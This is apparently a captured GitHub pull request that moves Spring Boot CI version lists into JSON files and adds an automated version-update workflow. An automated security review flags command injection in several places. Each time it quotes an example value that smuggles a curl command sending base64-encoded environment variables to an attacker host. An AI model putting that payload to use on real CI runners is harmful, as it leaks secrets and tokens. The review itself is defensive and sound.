Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 9 additions & 0 deletions .github/data/spring-boot-2-versions.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
{
"versions": [
"2.4.13",
"2.5.15",
"2.6.15",
"2.7.0",
"2.7.18"
]
}
8 changes: 8 additions & 0 deletions .github/data/spring-boot-3-versions.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
{
"versions": [
"3.2.12",
"3.3.13",
"3.4.13",
"3.5.13"
]
}
6 changes: 6 additions & 0 deletions .github/data/spring-boot-4-versions.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
{
"versions": [
"4.0.0",
"4.0.5"
]
}
14 changes: 13 additions & 1 deletion .github/workflows/spring-boot-2-matrix.yml
Original file line number Diff line number Diff line change
Expand Up @@ -15,16 +15,28 @@
cancel-in-progress: true

jobs:
load-versions:
runs-on: ubuntu-latest
outputs:
matrix: ${{ steps.set-matrix.outputs.matrix }}
steps:
- name: Checkout Repo
uses: actions/checkout@v5
- name: Set matrix data
id: set-matrix
run: echo "matrix=$(cat .github/data/spring-boot-2-versions.json | jq -c .versions)" >> $GITHUB_OUTPUT

spring-boot-2-matrix:
needs: load-versions
timeout-minutes: 45
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
springboot-version: [ '2.4.13', '2.5.15', '2.6.15', '2.7.0', '2.7.18' ]
springboot-version: ${{ fromJSON(needs.load-versions.outputs.matrix) }}

name: Spring Boot ${{ matrix.springboot-version }}
env:

Check warning on line 39 in .github/workflows/spring-boot-2-matrix.yml

View check run for this annotation

@sentry/warden / warden: security-review

[JNS-EE5] PR-controlled JSON version file flows into shell `run:` step via matrix expression, enabling command injection (additional location)

`.github/data/spring-boot-3-versions.json` (modifiable in a PR) is read by the `load-versions` job and passed into the matrix; the `Update Spring Boot 3.x version` step then expands `${{ matrix.springboot-version }}` directly inside a `run:` block. A crafted value such as `3.4.1"; curl https://attacker/$(env | base64) #` becomes injected shell on the runner. Move the value to an `env:` variable (e.g. `SPRINGBOOT_VERSION: ${{ matrix.springboot-version }}`) and reference `$SPRINGBOOT_VERSION` instead. The identical pattern exists in `spring-boot-2-matrix.yml` and `spring-boot-4-matrix.yml`.
SENTRY_URL: http://127.0.0.1:8000
GRADLE_ENCRYPTION_KEY: ${{ secrets.GRADLE_ENCRYPTION_KEY }}

Expand Down
14 changes: 13 additions & 1 deletion .github/workflows/spring-boot-3-matrix.yml
Original file line number Diff line number Diff line change
Expand Up @@ -15,13 +15,25 @@ concurrency:
cancel-in-progress: true

jobs:
load-versions:
runs-on: ubuntu-latest
outputs:
matrix: ${{ steps.set-matrix.outputs.matrix }}
steps:
- name: Checkout Repo
uses: actions/checkout@v5
- name: Set matrix data
id: set-matrix
run: echo "matrix=$(cat .github/data/spring-boot-3-versions.json | jq -c .versions)" >> $GITHUB_OUTPUT

spring-boot-3-matrix:
needs: load-versions
timeout-minutes: 45
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
springboot-version: [ '3.2.12', '3.3.13', '3.4.13', '3.5.13' ]
springboot-version: ${{ fromJSON(needs.load-versions.outputs.matrix) }}

name: Spring Boot ${{ matrix.springboot-version }}
env:
Expand Down
14 changes: 13 additions & 1 deletion .github/workflows/spring-boot-4-matrix.yml
Original file line number Diff line number Diff line change
Expand Up @@ -15,16 +15,28 @@
cancel-in-progress: true

jobs:
load-versions:
runs-on: ubuntu-latest
outputs:
matrix: ${{ steps.set-matrix.outputs.matrix }}
steps:
- name: Checkout Repo
uses: actions/checkout@v5
- name: Set matrix data
id: set-matrix
run: echo "matrix=$(cat .github/data/spring-boot-4-versions.json | jq -c .versions)" >> $GITHUB_OUTPUT

spring-boot-4-matrix:
needs: load-versions
timeout-minutes: 45
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
springboot-version: [ '4.0.0', '4.0.5' ]
springboot-version: ${{ fromJSON(needs.load-versions.outputs.matrix) }}

name: Spring Boot ${{ matrix.springboot-version }}
env:

Check warning on line 39 in .github/workflows/spring-boot-4-matrix.yml

View check run for this annotation

@sentry/warden / warden: security-review

PR-controlled JSON version file flows into shell `run:` step via matrix expression, enabling command injection

`.github/data/spring-boot-3-versions.json` (modifiable in a PR) is read by the `load-versions` job and passed into the matrix; the `Update Spring Boot 3.x version` step then expands `${{ matrix.springboot-version }}` directly inside a `run:` block. A crafted value such as `3.4.1"; curl https://attacker/$(env | base64) #` becomes injected shell on the runner. Move the value to an `env:` variable (e.g. `SPRINGBOOT_VERSION: ${{ matrix.springboot-version }}`) and reference `$SPRINGBOOT_VERSION` instead. The identical pattern exists in `spring-boot-2-matrix.yml` and `spring-boot-4-matrix.yml`.
Comment on lines +24 to 39
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

PR-controlled JSON version file flows into shell run: step via matrix expression, enabling command injection

.github/data/spring-boot-3-versions.json (modifiable in a PR) is read by the load-versions job and passed into the matrix; the Update Spring Boot 3.x version step then expands ${{ matrix.springboot-version }} directly inside a run: block. A crafted value such as 3.4.1"; curl https://attacker/$(env | base64) # becomes injected shell on the runner. Move the value to an env: variable (e.g. SPRINGBOOT_VERSION: ${{ matrix.springboot-version }}) and reference $SPRINGBOOT_VERSION instead. The identical pattern exists in spring-boot-2-matrix.yml and spring-boot-4-matrix.yml.

Evidence
  • .github/workflows/spring-boot-3-matrix.yml line 24: load-versions checks out the PR ref (actions/checkout@v5 with no override) and pipes .github/data/spring-boot-3-versions.json directly through jq -c .versions into $GITHUB_OUTPUT; PR authors can change that JSON in this PR (spring-boot-3-versions.json is in the diff).
  • Line 36 feeds the unvalidated values into the matrix via fromJSON(needs.load-versions.outputs.matrix).
  • The Update Spring Boot 3.x version step (~line 78) interpolates springboot_version="${{ matrix.springboot-version }}" inside a run: script, so GitHub expands the expression into shell before execution — classic script injection.
  • Trigger is pull_request (not pull_request_target), so fork PRs run without secrets and with a read-only GITHUB_TOKEN; impact is bounded to arbitrary code on the runner, PR-scoped cache poisoning, and abuse of the runner. For same-repo branch PRs the job-level GRADLE_ENCRYPTION_KEY and CODECOV_TOKEN are present and exfiltratable, but only collaborators can open such PRs.
  • No allowlist or regex validation is applied between the JSON file content and the shell expansion.
Also found at 1 additional location
  • .github/workflows/spring-boot-2-matrix.yml:39

Identified by Warden security-review · JNS-EE5

SENTRY_URL: http://127.0.0.1:8000
GRADLE_ENCRYPTION_KEY: ${{ secrets.GRADLE_ENCRYPTION_KEY }}

Expand Down
78 changes: 78 additions & 0 deletions .github/workflows/update-spring-boot-versions.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
name: Update Spring Boot Versions

on:
schedule:
# Run every Monday at 9:00 AM UTC
- cron: '0 9 * * 1'
workflow_dispatch: # Allow manual triggering
pull_request: # remove this before merging
Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

remove this before merging


permissions:
contents: write
pull-requests: write

jobs:
update-spring-boot-versions:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v5
with:
token: ${{ secrets.GITHUB_TOKEN }}

- name: Set up Python
uses: actions/setup-python@v6
with:
python-version: '3.11'

- name: Install dependencies
run: |
pip install requests packaging

- name: Update Spring Boot versions
id: update_versions
run: python scripts/update-spring-boot-versions.py

- name: Check for changes
id: changes
run: |
if git diff --quiet; then
echo "has_changes=false" >> $GITHUB_OUTPUT
else
echo "has_changes=true" >> $GITHUB_OUTPUT
fi

- name: Create Pull Request
if: steps.changes.outputs.has_changes == 'true'
uses: peter-evans/create-pull-request@v7
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

  • 🚫 Please pin the action by specifying a commit SHA instead of a tag/branch.

with:
token: ${{ secrets.GITHUB_TOKEN }}
base: feat/spring-boot-matrix-auto-update
commit-message: "chore: Update Spring Boot version matrices"
title: "Automated Spring Boot Version Update"
body: |
## Automated Spring Boot Version Update

This PR updates the Spring Boot version matrices in our test workflows based on the latest available versions.

### Changes Made:
${{ steps.update_versions.outputs.changes_summary || 'See diff for changes' }}

### Update Strategy:
- **Patch updates**: Updated to latest patch version of existing minor versions
- **New minor versions**: Added new minor versions and removed second oldest (keeping minimum supported)
- **Minimum version preserved**: Always keeps the minimum supported version for compatibility testing

This ensures our CI tests stay current with Spring Boot releases while maintaining coverage of older versions that users may still be using.
branch: automated-spring-boot-version-update
delete-branch: true
draft: false

- name: Summary
run: |
if [ "${{ steps.changes.outputs.has_changes }}" = "true" ]; then
echo "✅ Spring Boot version updates found and PR created"
echo "${{ steps.update_versions.outputs.changes_summary }}"
else
echo "ℹ️ No Spring Boot version updates needed"
fi
Loading
Loading